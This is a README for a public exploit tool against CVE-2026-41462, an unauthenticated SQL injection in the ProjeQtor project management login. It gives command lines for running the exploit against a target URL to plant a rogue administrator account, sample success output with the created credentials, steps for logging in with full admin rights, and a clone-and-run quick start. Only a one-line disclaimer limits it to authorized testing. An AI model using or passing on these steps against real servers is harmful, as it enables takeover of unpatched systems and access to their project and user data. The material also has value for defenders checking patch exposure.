🚨 CVE-2026-41462 - ProjeQtor Unauthenticated SQL Injection

---

Critical Unauthenticated SQL Injection in ProjeQtor ≤ 12.4.3

📌 Overview

CVE-2026-41462 is a critical unauthenticated SQL Injection vulnerability in the login functionality of the ProjeQtor project management tool.

• CVE ID: CVE-2026-41462
• Affected Versions: ProjeQtor 7.0 to 12.4.3
• Patched Version: 12.4.4
• Severity: Critical (CVSS 9.8)
• Type: Unauthenticated Stacked SQL Injection

🛠️ Exploitation

Usage

python3 CVE-2026-41462.py -u http://target.com --create-admin

# With custom credentials
python3 CVE-2026-41462.py -u http://target.com --create-admin \
  --username admin123 --password StrongPass2026!

📊 What You Will See If It Works

When the exploit is successful, you will see output similar to this:

[+] Targeting: http://target.com
[+] Sending payload to create admin user 'hacker' ...
[+] Request sent successfully.
[+] New admin created → Username: hacker | Password: Admin123!
[+] Try logging in at: http://target.com/login.php

After Running the Exploit:

1. Open your browser and go to:
   http://target.com/login.php

2. Login using the credentials shown in the script output.

3. If successful, you will land on the ProjeQtor Admin Dashboard with full administrative privileges.

Success Indicators:

• You can view all projects, users, and system settings
• You can create/edit/delete projects without restrictions
• New user appears in the user management section

📁 Repository Contents

🚀 Quick Start

1. Clone the repository:

   root@kitploit:~

   git clone https://github.com/0xBlackash/CVE-2026-41462.git
   cd CVE-2026-41462
   

2. Run the exploit:

   root@kitploit:~

   python3 CVE-2026-41462.py -u http://target.com --create-admin
   

3. Login with the newly created admin account.

⚠️ Disclaimer

This tool is intended for educational purposes and authorized penetration testing only. Unauthorized use is illegal.

📄 References

• NVD - CVE-2026-41462
• Official ProjeQtor Patch (v12.4.4+)